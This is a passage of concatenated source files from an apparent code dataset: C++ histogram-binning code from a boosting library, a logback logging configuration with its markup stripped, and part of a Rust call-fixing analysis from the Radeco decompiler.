runtimeLearningTypeOrCountTargetClasses && !bExpandBinaryLogits ||\n 0 <= k_iZeroResidual ||\n std::isnan(residualTotalDebug) ||\n -k_epsilonResidualError < residualTotalDebug && residualTotalDebug < k_epsilonResidualError\n );\n } while(pResidualErrorEnd != pResidualError);\n LOG_0(TraceLevelVerbose, \"Exited BinDataSetTrainingZeroDimensions\");\n }\n};\n\ntemplate\nclass BinBoostingZeroDimensionsTarget final {\npublic:\n\n BinBoostingZeroDimensionsTarget() = delete; // this is a static class. Do not construct\n\n INLINE_ALWAYS static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const pHistogramBucketEntryBase\n ) {\n static_assert(IsClassification(compilerLearningTypeOrCountTargetClassesPossible), \"compilerLearningTypeOrCountTargetClassesPossible needs to be a classification\");\n static_assert(compilerLearningTypeOrCountTargetClassesPossible <= k_cCompilerOptimizedTargetClassesMax, \"We can't have this many items in a data pack.\");\n\n const ptrdiff_t runtimeLearningTypeOrCountTargetClasses = pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses();\n EBM_ASSERT(IsClassification(runtimeLearningTypeOrCountTargetClasses));\n EBM_ASSERT(runtimeLearningTypeOrCountTargetClasses <= k_cCompilerOptimizedTargetClassesMax);\n\n if(compilerLearningTypeOrCountTargetClassesPossible == runtimeLearningTypeOrCountTargetClasses) {\n BinBoostingZeroDimensions::Func(\n pEbmBoostingState,\n pTrainingSet,\n pHistogramBucketEntryBase\n );\n } else {\n BinBoostingZeroDimensionsTarget::Func(\n pEbmBoostingState,\n pTrainingSet,\n pHistogramBucketEntryBase\n );\n }\n }\n};\n\ntemplate<>\nclass BinBoostingZeroDimensionsTarget final {\npublic:\n\n BinBoostingZeroDimensionsTarget() = delete; // this is a static class. Do not construct\n\n INLINE_ALWAYS static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const pHistogramBucketEntryBase\n ) {\n static_assert(IsClassification(k_cCompilerOptimizedTargetClassesMax), \"k_cCompilerOptimizedTargetClassesMax needs to be a classification\");\n\n EBM_ASSERT(IsClassification(pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses()));\n EBM_ASSERT(k_cCompilerOptimizedTargetClassesMax < pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses());\n\n BinBoostingZeroDimensions::Func(\n pEbmBoostingState,\n pTrainingSet,\n pHistogramBucketEntryBase\n );\n }\n};\n\ntemplate\nclass BinBoostingInternal final {\npublic:\n\n BinBoostingInternal() = delete; // this is a static class. Do not construct\n\n static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const FeatureGroup * const pFeatureGroup,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const aHistogramBucketBase\n#ifndef NDEBUG\n , const unsigned char * const aHistogramBucketsEndDebug\n#endif // NDEBUG\n ) {\n constexpr bool bClassification = IsClassification(compilerLearningTypeOrCountTargetClasses);\n\n LOG_0(TraceLevelVerbose, \"Entered BinDataSetTraining\");\n\n HistogramBucket * const aHistogramBuckets =\n aHistogramBucketBase->GetHistogramBucket();\n\n const ptrdiff_t runtimeLearningTypeOrCountTargetClasses = pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses();\n\n const ptrdiff_t learningTypeOrCountTargetClasses = GET_LEARNING_TYPE_OR_COUNT_TARGET_CLASSES(\n compilerLearningTypeOrCountTargetClasses,\n runtimeLearningTypeOrCountTargetClasses\n );\n const size_t cVectorLength = GetVectorLength(learningTypeOrCountTargetClasses);\n\n const size_t cItemsPerBitPackedDataUnit = GET_COUNT_ITEMS_PER_BIT_PACKED_DATA_UNIT(\n compilerCountItemsPerBitPackedDataUnit,\n pFeatureGroup->GetCountItemsPerBitPackedDataUnit()\n );\n EBM_ASSERT(1 <= cItemsPerBitPackedDataUnit);\n EBM_ASSERT(cItemsPerBitPackedDataUnit <= k_cBitsForStorageType);\n const size_t cBitsPerItemMax = GetCountBits(cItemsPerBitPackedDataUnit);\n EBM_ASSERT(1 <= cBitsPerItemMax);\n EBM_ASSERT(cBitsPerItemMax <= k_cBitsForStorageType);\n const size_t maskBits = std::numeric_limits::max() >> (k_cBitsForStorageType - cBitsPerItemMax);\n EBM_ASSERT(!GetHistogramBucketSizeOverflow(bClassification, cVectorLength)); // we're accessing allocated memory\n const size_t cBytesPerHistogramBucket = GetHistogramBucketSize(bClassification, cVectorLength);\n\n const size_t cSamples = pTrainingSet->GetDataSetByFeatureGroup()->GetCountSamples();\n EBM_ASSERT(0 < cSamples);\n\n const size_t * pCountOccurrences = pTrainingSet->GetCountOccurrences();\n const StorageDataType * pInputData = pTrainingSet->GetDataSetByFeatureGroup()->GetInputDataPointer(pFeatureGroup);\n const FloatEbmType * pResidualError = pTrainingSet->GetDataSetByFeatureGroup()->GetResidualPointer();\n\n // this shouldn't overflow since we're accessing existing memory\n const FloatEbmType * const pResidualErrorTrueEnd = pResidualError + cVectorLength * cSamples;\n const FloatEbmType * pResidualErrorExit = pResidualErrorTrueEnd;\n size_t cItemsRemaining = cSamples;\n if(cSamples <= cItemsPerBitPackedDataUnit) {\n goto one_last_loop;\n }\n pResidualErrorExit = pResidualErrorTrueEnd - cVectorLength * ((cSamples - 1) % cItemsPerBitPackedDataUnit + 1);\n EBM_ASSERT(pResidualError < pResidualErrorExit);\n EBM_ASSERT(pResidualErrorExit < pResidualErrorTrueEnd);\n\n do {\n // this loop gets about twice as slow if you add a single unpredictable branching if statement based on count, even if you still access all the memory\n // in complete sequential order, so we'll probably want to use non-branching instructions for any solution like conditional selection or multiplication\n // this loop gets about 3 times slower if you use a bad pseudo random number generator like rand(), although it might be better if you inlined rand().\n // this loop gets about 10 times slower if you use a proper pseudo random number generator like std::default_random_engine\n // taking all the above together, it seems unlikley we'll use a method of separating sets via single pass randomized set splitting. Even if count is \n // stored in memory if shouldn't increase the time spent fetching it by 2 times, unless our bottleneck when threading is overwhelmingly memory pressure\n // related, and even then we could store the count for a single bit aleviating the memory pressure greatly, if we use the right sampling method \n\n // TODO : try using a sampling method with non-repeating samples, and put the count into a bit. Then unwind that loop either at the byte level \n // (8 times) or the uint64_t level. This can be done without branching and doesn't require random number generators\n\n cItemsRemaining = cItemsPerBitPackedDataUnit;\n // TODO : jumping back into this loop and changing cItemsRemaining to a dynamic value that isn't compile time determinable\n // causes this function to NOT be optimized as much as it could if we had two separate loops. We're just trying this out for now though\n one_last_loop:;\n // we store the already multiplied dimensional value in *pInputData\n size_t iTensorBinCombined = static_cast(*pInputData);\n ++pInputData;\n do {\n const size_t iTensorBin = maskBits & iTensorBinCombined;\n\n HistogramBucket * const pHistogramBucketEntry = GetHistogramBucketByIndex(\n cBytesPerHistogramBucket,\n aHistogramBuckets,\n iTensorBin\n );\n\n ASSERT_BINNED_BUCKET_OK(cBytesPerHistogramBucket, pHistogramBucketEntry, aHistogramBucketsEndDebug);\n const size_t cOccurences = *pCountOccurrences;\n ++pCountOccurrences;\n pHistogramBucketEntry->SetCountSamplesInBucket(pHistogramBucketEntry->GetCountSamplesInBucket() + cOccurences);\n const FloatEbmType cFloatOccurences = static_cast(cOccurences);\n HistogramBucketVectorEntry * pHistogramBucketVectorEntry = \n pHistogramBucketEntry->GetHistogramBucketVectorEntry();\n\n size_t iVector = 0;\n\n#ifndef NDEBUG\n#ifdef EXPAND_BINARY_LOGITS\n constexpr bool bExpandBinaryLogits = true;\n#else // EXPAND_BINARY_LOGITS\n constexpr bool bExpandBinaryLogits = false;\n#endif // EXPAND_BINARY_LOGITS\n FloatEbmType residualTotalDebug = 0;\n#endif // NDEBUG\n do {\n const FloatEbmType residualError = *pResidualError;\n EBM_ASSERT(\n !bClassification ||\n ptrdiff_t { 2 } == runtimeLearningTypeOrCountTargetClasses && !bExpandBinaryLogits ||\n static_cast(iVector) != k_iZeroResidual ||\n 0 == residualError\n );\n#ifndef NDEBUG\n residualTotalDebug += residualError;\n#endif // NDEBUG\n pHistogramBucketVectorEntry[iVector].m_sumResidualError += cFloatOccurences * residualError;\n if(bClassification) {\n // TODO : this code gets executed for each SamplingSet set. I could probably execute it once and then all the\n // SamplingSet sets would have this value, but I would need to store the computation in a new memory place, and it might \n // make more sense to calculate this values in the CPU rather than put more pressure on memory. I think controlling this should be \n // done in a MACRO and we should use a class to hold the residualError and this computation from that value and then comment out the \n // computation if not necssary and access it through an accessor so that we can make the change entirely via macro\n const FloatEbmType denominator = EbmStatistics::ComputeNewtonRaphsonStep(residualError);\n pHistogramBucketVectorEntry[iVector].SetSumDenominator(\n pHistogramBucketVectorEntry[iVector].GetSumDenominator() + cFloatOccurences * denominator\n );\n }\n ++pResidualError;\n ++iVector;\n // if we use this specific format where (iVector < cVectorLength) then the compiler collapses alway the loop for small cVectorLength values\n // if we make this (iVector != cVectorLength) then the loop is not collapsed\n // the compiler seems to not mind if we make this a for loop or do loop in terms of collapsing away the loop\n } while(iVector < cVectorLength);\n\n EBM_ASSERT(\n !bClassification ||\n ptrdiff_t { 2 } == runtimeLearningTypeOrCountTargetClasses && !bExpandBinaryLogits ||\n 0 <= k_iZeroResidual ||\n -k_epsilonResidualError < residualTotalDebug && residualTotalDebug < k_epsilonResidualError\n );\n\n iTensorBinCombined >>= cBitsPerItemMax;\n // TODO : try replacing cItemsRemaining with a pResidualErrorInnerLoopEnd which eliminates one subtact operation, but might make it harder for \n // the compiler to optimize the loop away\n --cItemsRemaining;\n } while(0 != cItemsRemaining);\n } while(pResidualErrorExit != pResidualError);\n\n // first time through?\n if(pResidualErrorTrueEnd != pResidualError) {\n LOG_0(TraceLevelVerbose, \"Handling last BinDataSetTraining loop\");\n\n EBM_ASSERT(0 == (pResidualErrorTrueEnd - pResidualError) % cVectorLength);\n cItemsRemaining = (pResidualErrorTrueEnd - pResidualError) / cVectorLength;\n EBM_ASSERT(0 < cItemsRemaining);\n EBM_ASSERT(cItemsRemaining <= cItemsPerBitPackedDataUnit);\n\n pResidualErrorExit = pResidualErrorTrueEnd;\n\n goto one_last_loop;\n }\n\n LOG_0(TraceLevelVerbose, \"Exited BinDataSetTraining\");\n }\n};\n\ntemplate\nclass BinBoostingNormalTarget final {\npublic:\n\n BinBoostingNormalTarget() = delete; // this is a static class. Do not construct\n\n INLINE_ALWAYS static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const FeatureGroup * const pFeatureGroup,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const aHistogramBucketBase\n#ifndef NDEBUG\n , const unsigned char * const aHistogramBucketsEndDebug\n#endif // NDEBUG\n ) {\n static_assert(IsClassification(compilerLearningTypeOrCountTargetClassesPossible), \"compilerLearningTypeOrCountTargetClassesPossible needs to be a classification\");\n static_assert(compilerLearningTypeOrCountTargetClassesPossible <= k_cCompilerOptimizedTargetClassesMax, \"We can't have this many items in a data pack.\");\n\n const ptrdiff_t runtimeLearningTypeOrCountTargetClasses = pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses();\n EBM_ASSERT(IsClassification(runtimeLearningTypeOrCountTargetClasses));\n EBM_ASSERT(runtimeLearningTypeOrCountTargetClasses <= k_cCompilerOptimizedTargetClassesMax);\n\n if(compilerLearningTypeOrCountTargetClassesPossible == runtimeLearningTypeOrCountTargetClasses) {\n BinBoostingInternal::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n } else {\n BinBoostingNormalTarget::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n }\n }\n};\n\ntemplate<>\nclass BinBoostingNormalTarget final {\npublic:\n\n BinBoostingNormalTarget() = delete; // this is a static class. Do not construct\n\n INLINE_ALWAYS static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const FeatureGroup * const pFeatureGroup,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const aHistogramBucketBase\n#ifndef NDEBUG\n , const unsigned char * const aHistogramBucketsEndDebug\n#endif // NDEBUG\n ) {\n static_assert(IsClassification(k_cCompilerOptimizedTargetClassesMax), \"k_cCompilerOptimizedTargetClassesMax needs to be a classification\");\n\n EBM_ASSERT(IsClassification(pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses()));\n EBM_ASSERT(k_cCompilerOptimizedTargetClassesMax < pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses());\n\n BinBoostingInternal::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n }\n};\n\ntemplate\nclass BinBoostingSIMDPacking final {\npublic:\n\n BinBoostingSIMDPacking() = delete; // this is a static class. Do not construct\n\n INLINE_ALWAYS static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const FeatureGroup * const pFeatureGroup,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const aHistogramBucketBase\n#ifndef NDEBUG\n , const unsigned char * const aHistogramBucketsEndDebug\n#endif // NDEBUG\n ) {\n const size_t runtimeCountItemsPerBitPackedDataUnit = pFeatureGroup->GetCountItemsPerBitPackedDataUnit();\n\n EBM_ASSERT(1 <= runtimeCountItemsPerBitPackedDataUnit);\n EBM_ASSERT(runtimeCountItemsPerBitPackedDataUnit <= k_cBitsForStorageType);\n static_assert(compilerCountItemsPerBitPackedDataUnitPossible <= k_cBitsForStorageType, \"We can't have this many items in a data pack.\");\n if(compilerCountItemsPerBitPackedDataUnitPossible == runtimeCountItemsPerBitPackedDataUnit) {\n BinBoostingInternal::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n } else {\n BinBoostingSIMDPacking<\n compilerLearningTypeOrCountTargetClasses,\n GetNextCountItemsBitPacked(compilerCountItemsPerBitPackedDataUnitPossible)\n >::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n }\n }\n};\n\ntemplate\nclass BinBoostingSIMDPacking final {\npublic:\n\n BinBoostingSIMDPacking() = delete; // this is a static class. Do not construct\n\n INLINE_ALWAYS static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const FeatureGroup * const pFeatureGroup,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const aHistogramBucketBase\n#ifndef NDEBUG\n , const unsigned char * const aHistogramBucketsEndDebug\n#endif // NDEBUG\n ) {\n EBM_ASSERT(1 <= pFeatureGroup->GetCountItemsPerBitPackedDataUnit());\n EBM_ASSERT(pFeatureGroup->GetCountItemsPerBitPackedDataUnit() <= k_cBitsForStorageType);\n BinBoostingInternal::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n }\n};\n\ntemplate\nclass BinBoostingSIMDTarget final {\npublic:\n\n BinBoostingSIMDTarget() = delete; // this is a static class. Do not construct\n\n INLINE_ALWAYS static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const FeatureGroup * const pFeatureGroup,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const aHistogramBucketBase\n#ifndef NDEBUG\n , const unsigned char * const aHistogramBucketsEndDebug\n#endif // NDEBUG\n ) {\n static_assert(IsClassification(compilerLearningTypeOrCountTargetClassesPossible), \"compilerLearningTypeOrCountTargetClassesPossible needs to be a classification\");\n static_assert(compilerLearningTypeOrCountTargetClassesPossible <= k_cCompilerOptimizedTargetClassesMax, \"We can't have this many items in a data pack.\");\n\n const ptrdiff_t runtimeLearningTypeOrCountTargetClasses = pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses();\n EBM_ASSERT(IsClassification(runtimeLearningTypeOrCountTargetClasses));\n EBM_ASSERT(runtimeLearningTypeOrCountTargetClasses <= k_cCompilerOptimizedTargetClassesMax);\n\n if(compilerLearningTypeOrCountTargetClassesPossible == runtimeLearningTypeOrCountTargetClasses) {\n BinBoostingSIMDPacking<\n compilerLearningTypeOrCountTargetClassesPossible,\n k_cItemsPerBitPackedDataUnitMax\n >::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n } else {\n BinBoostingSIMDTarget::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n }\n }\n};\n\ntemplate<>\nclass BinBoostingSIMDTarget final {\npublic:\n\n BinBoostingSIMDTarget() = delete; // this is a static class. Do not construct\n\n INLINE_ALWAYS static void Func(\n EbmBoostingState * const pEbmBoostingState,\n const FeatureGroup * const pFeatureGroup,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const aHistogramBucketBase\n#ifndef NDEBUG\n , const unsigned char * const aHistogramBucketsEndDebug\n#endif // NDEBUG\n ) {\n static_assert(IsClassification(k_cCompilerOptimizedTargetClassesMax), \"k_cCompilerOptimizedTargetClassesMax needs to be a classification\");\n\n EBM_ASSERT(IsClassification(pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses()));\n EBM_ASSERT(k_cCompilerOptimizedTargetClassesMax < pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses());\n\n BinBoostingSIMDPacking::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n }\n};\n\nextern void BinBoosting(\n EbmBoostingState * const pEbmBoostingState,\n const FeatureGroup * const pFeatureGroup,\n const SamplingSet * const pTrainingSet,\n HistogramBucketBase * const aHistogramBucketBase\n#ifndef NDEBUG\n , const unsigned char * const aHistogramBucketsEndDebug\n#endif // NDEBUG\n) {\n LOG_0(TraceLevelVerbose, \"Entered BinBoosting\");\n\n const ptrdiff_t runtimeLearningTypeOrCountTargetClasses = pEbmBoostingState->GetRuntimeLearningTypeOrCountTargetClasses();\n\n if(nullptr == pFeatureGroup) {\n if(IsClassification(runtimeLearningTypeOrCountTargetClasses)) {\n BinBoostingZeroDimensionsTarget<2>::Func(\n pEbmBoostingState,\n pTrainingSet,\n aHistogramBucketBase\n );\n } else {\n EBM_ASSERT(IsRegression(runtimeLearningTypeOrCountTargetClasses));\n BinBoostingZeroDimensions::Func(\n pEbmBoostingState,\n pTrainingSet,\n aHistogramBucketBase\n );\n }\n } else {\n EBM_ASSERT(1 <= pFeatureGroup->GetCountFeatures());\n if(k_bUseSIMD) {\n // TODO : enable SIMD(AVX-512) to work\n\n // 64 - do 8 at a time and unroll the loop 8 times. These are bool features and are common. Put the unrolled inner loop into a function\n // 32 - do 8 at a time and unroll the loop 4 times. These are bool features and are common. Put the unrolled inner loop into a function\n // 21 - do 8 at a time and unroll the loop 3 times (ignore the last 3 with a mask)\n // 16 - do 8 at a time and unroll the loop 2 times. These are bool features and are common. Put the unrolled inner loop into a function\n // 12 - do 8 of them, shift the low 4 upwards and then load the next 12 and take the top 4, repeat.\n // 10 - just drop this down to packing 8 together\n // 9 - just drop this down to packing 8 together\n // 8 - do all 8 at a time without an inner loop. This is one of the most common values. 256 binned values\n // 7,6,5,4,3,2,1 - use a mask to exclude the non-used conditions and process them like the 8. These are rare since they require more than 256 values\n\n if(IsClassification(runtimeLearningTypeOrCountTargetClasses)) {\n BinBoostingSIMDTarget<2>::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n } else {\n EBM_ASSERT(IsRegression(runtimeLearningTypeOrCountTargetClasses));\n BinBoostingSIMDPacking::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n }\n } else {\n // there isn't much benefit in eliminating the loop that unpacks a data unit unless we're also unpacking that to SIMD code\n // Our default packing structure is to bin continuous values to 256 values, and we have 64 bit packing structures, so we usually\n // have more than 8 values per memory fetch. Eliminating the inner loop for multiclass is valuable since we can have low numbers like 3 class,\n // 4 class, etc, but by the time we get to 8 loops with exp inside and a lot of other instructures we should worry that our code expansion\n // will exceed the L1 instruction cache size. With SIMD we do 8 times the work in the same number of instructions so these are lesser issues\n\n if(IsClassification(runtimeLearningTypeOrCountTargetClasses)) {\n BinBoostingNormalTarget<2>::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n } else {\n EBM_ASSERT(IsRegression(runtimeLearningTypeOrCountTargetClasses));\n BinBoostingInternal::Func(\n pEbmBoostingState,\n pFeatureGroup,\n pTrainingSet,\n aHistogramBucketBase\n#ifndef NDEBUG\n , aHistogramBucketsEndDebug\n#endif // NDEBUG\n );\n }\n }\n }\n\n LOG_0(TraceLevelVerbose, \"Exited BinBoosting\");\n}\n"} +{"text": "\n\n \n System.out\n \n | [%-5level] [%date{ISO8601}] [%logger] [%thread] [%X{akkaSource}] - %msg %rootException %n\n \n sdfsadf\n \n\n \n server.log\n\n \n \n server.%i.log\n 1\n 3\n \n\n \n 1MB\n \n\n \n | [%-5level] [%date{ISO8601}] [%logger] [%thread] [%X{akkaSource}] - %msg %rootException %n\n \n \n\n \n \n \n \n\n"} +{"text": "// Copyright (c) 2015, The Radare Project. All rights preserved.\n// See the COPYING file at the top-level directory of this distribution.\n// Licensed under the BSD 3-Clause License:\n// \n// This file may not be copied, modified, or distributed\n// except according to those terms.\n\n//! This Module gathers basic information from first analysis of RadecoFunction.\n//! It aims at gathering preserved registers and fix OpCall node. Results will be\n//! Used in VSA.\n//!\n//! More detais will be accessible at:\n//! * https://www.zybuluo.com/SmashStack/note/850129\n//!\n\nuse petgraph::prelude::NodeIndex;\nuse std::collections::{HashMap, HashSet, VecDeque};\n\nuse crate::analysis::cse::ssasort::Sorter;\nuse crate::frontend::radeco_containers::RadecoModule;\nuse crate::middle::ir::MOpcode;\nuse crate::middle::ssa::cfg_traits::CFG;\nuse crate::middle::ssa::ssa_traits::{SSAMod, SSA};\nuse crate::middle::ssa::ssastorage::SSAStorage;\n\nuse super::digstack;\n\ntype LValueRef = ::ValueRef;\n\n#[derive(Debug)]\npub struct CallFixer<'a> {\n rmod: &'a mut RadecoModule,\n sp_offsets: HashMap>,\n sp_name: Option,\n bp_name: Option,\n}\n\nimpl<'a> CallFixer<'a> {\n pub fn new(\n rmod: &'a mut RadecoModule,\n bp_name: Option,\n sp_name: Option,\n ) -> CallFixer<'a> {\n CallFixer {\n bp_name: bp_name,\n sp_name: sp_name,\n rmod: rmod,\n sp_offsets: HashMap::new(),\n }\n }\n\n // Make a ROUNDED analyze for the RadecoModule.\n pub fn rounded_analysis(&mut self) {\n let functions = self.rmod.functions.clone();\n let matched_func_vec: Vec = functions\n .iter()\n .map(|(fn_addr, _)| fn_addr.clone())\n .collect();\n // Do the first analysis.\n radeco_trace!(\"CallFixer|Do the first analysis.\");\n for fn_addr in &matched_func_vec {\n self.analysis(fn_addr);\n }\n // Do basic fix.\n radeco_trace!(\"CallFixer|Do the basic fix.\");\n for fn_addr in &matched_func_vec {\n self.fix(fn_addr);\n }\n // Do the second analysis.\n radeco_trace!(\"CallFixer|Do the second analysis.\");\n for fn_addr in &matched_func_vec {\n self.reanalysis(fn_addr);\n }\n // Redo fix.\n radeco_trace!(\"CallFixer|Redo fix.\");\n for fn_addr in &matched_func_vec {\n self.fix(fn_addr);\n }\n }\n\n // Second analysis, at this point, we have at least BP for every callee, now, we could\n // do a global search for all the nodes' stack offset. Then, we could make a more accurate\n // preserved fix.\n pub fn reanalysis(&mut self, rfn_addr: &u64) {\n // Sort operands for commutative opcode first.\n {\n let rfn = self.rmod.functions.get_mut(rfn_addr);\n if rfn.is_none() {\n radeco_err!(\"RadecoFunction Not Found!\");\n return;\n };\n let rfn = rfn.unwrap();\n radeco_trace!(\"CallFixer|RadecoFunction: {:?}\", rfn.name);\n let ssa = rfn.ssa_mut();\n let mut sorter = Sorter::new(ssa);\n sorter.run();\n }\n\n let (entry_store, exit_load) = {\n let rfn = self.rmod.functions.get(rfn_addr).unwrap();\n let ssa = rfn.ssa();\n let sp_name = self.sp_name.clone().unwrap_or(String::new());\n let bp_name = self.bp_name.clone().unwrap_or(String::new());\n let stack_offset = digstack::rounded_analysis(&ssa, sp_name, bp_name);\n // Here, we check the assumption we made in first analysis.\n // If the SP is not balanced, we will throw a WARN or PANIC.\n // TODO: if the SP is not balanced, please UNDO the fix.\n radeco_trace!(\"CallFixer|Global stack_offset: {:?}\", stack_offset);\n let sp_offset_opt = self.sp_offsets.get(rfn_addr).unwrap_or_else(|| {\n radeco_err!(\"sp_offsets.get({:?}) == None\", rfn_addr);\n &None\n });\n if let &Some(sp_offset) = sp_offset_opt {\n let mut max_offset: i64 = 0;\n // The last SP offset should be the biggest\n for offset in &stack_offset {\n radeco_trace!(\n \"CallFixer|{:?} with {:?}: {}\",\n offset.0,\n ssa.node_data(*offset.0),\n offset.1\n );\n if offset.1 > &max_offset {\n max_offset = *offset.1;\n }\n }\n if max_offset != sp_offset {\n radeco_warn!(\n \"Stack is not Balanced in fn_addr {:?}! First analysis {:?} with seconde \\\n analysis {:?}\",\n rfn_addr,\n sp_offset,\n max_offset\n );\n println!(\n \" [*] WARN: Stack is not Balanced in function @ {:#}! Output analysis \\\n may be not accurate\",\n rfn_addr\n );\n }\n }\n (\n self.analysis_entry_store(ssa, stack_offset.clone()),\n self.analysis_exit_load(ssa, stack_offset),\n )\n };\n radeco_trace!(\"CallFixer|Entry_store {:?}\", entry_store);\n radeco_trace!(\"CallFixer|Exit_load {:?}\", exit_load);\n\n self.mark_preserved(rfn_addr, entry_store, exit_load);\n }\n\n // First analysis, only based on the assumption the SP is balanced.\n // After this, we could at least make sure whether BP is balanced,\n // and then we could spread all the stack offset in the whole funciton.\n pub fn analysis(&mut self, rfn_addr: &u64) {\n radeco_trace!(\"CallFixer|Analyze {:#}\", rfn_addr);\n\n if self.rmod.functions.get_mut(rfn_addr).is_none() {\n radeco_err!(\"RadecoFunction Not Found!\");\n return;\n }\n // Sort operands for commutative opcode first.\n {\n let rfn = self.rmod.functions.get_mut(rfn_addr).unwrap();\n radeco_trace!(\"CallFixer|RadecoFunction: {:?}\", rfn.name);\n let ssa = rfn.ssa_mut();\n let mut sorter = Sorter::new(ssa);\n sorter.run();\n }\n\n // At the first time for analysis, we only assume that SP will balance\n // at entry_point and exit_point. So we only analyze entry block and\n // exit block separately.\n let (entry_store, exit_load) = {\n let rfn = self.rmod.functions.get(rfn_addr).unwrap();\n let ssa = rfn.ssa();\n\n // analysis entry block\n let entry_store = {\n let sp_name = self.sp_name.clone().unwrap_or(String::new());\n let bp_name = self.bp_name.clone().unwrap_or(String::new());\n let entry_offset = digstack::frontward_analysis(&ssa, sp_name, bp_name);\n self.analysis_entry_store(ssa, entry_offset)\n };\n\n // analysis exit blocks\n let exit_load = {\n let sp_name = self.sp_name.clone().unwrap_or(String::new());\n let exit_offset = digstack::backward_analysis(&ssa, sp_name);\n self.analysis_exit_load(ssa, exit_offset)\n };\n (entry_store, exit_load)\n };\n\n let sp_offset = self.mark_preserved(rfn_addr, entry_store, exit_load);\n self.sp_offsets.insert(*rfn_addr, sp_offset);\n }\n\n // Fix the call_site with the callees' preserved register,\n // which will make later analysis much easier.\n pub fn fix(&mut self, rfn_addr: &u64) {\n if self.rmod.functions.get(rfn_addr).is_none() {\n radeco_err!(\"RadecoFunction Not Found!\");\n return;\n }\n let call_info: Vec<(LValueRef, Vec)> = {\n let rfn = self.rmod.functions.get(rfn_addr).unwrap();\n let callees = rfn.callees(&self.rmod.callgraph).clone();\n let addr_callees = callees\n .into_iter()\n .filter_map(|node| self.rmod.callgraph.node_weight(node).map(|a| (*a, node)))\n .collect::>();\n self.preserves_for_call_context(addr_callees)\n };\n radeco_trace!(\"CallFixer|Call site: {:?}\", call_info);\n\n {\n let rfn = self.rmod.functions.get_mut(rfn_addr).unwrap();\n let ssa = rfn.ssa_mut();\n\n for (node, mut regs) in call_info {\n // Add SP for every function.\n if let Some(ref name) = self.sp_name {\n regs.push(name.clone());\n }\n for reg in regs {\n let node_sets = vec![ssa.operands_of(node), ssa.uses_of(node)];\n let mut replace_pair: Vec = Vec::with_capacity(2);\n for node_set in node_sets {\n for sub_node in node_set {\n if ssa.registers(sub_node).contains(®) {\n replace_pair.push(sub_node);\n break;\n }\n }\n }\n\n if replace_pair.len() != 2 {\n radeco_trace!(\"CallFixer|{:?} with {:?} Not Found!\", node, reg);\n radeco_trace!(\"CallFixer| Found replace_pair {:?}\", replace_pair);\n continue;\n }\n\n ssa.replace_value(replace_pair[1], replace_pair[0]);\n }\n }\n }\n }\n\n /// Below is helper function.\n\n // Before we calcluate, we have to finger out the SP offset between entry node\n // and exit bode. The reason cause this difference is that in SSA form, we didn't\n // split OpCall into STORE PC stage and JMP stage, but we split RET statements\n // into LOAD PC stage and JMP stage. That means, SP at exit point will be higher\n // than SP at entry point.\n // TODO: We could not finger whether the STORE PC stage in Call use a PUSH stack or\n // MOV register. Thus, we will do a probable 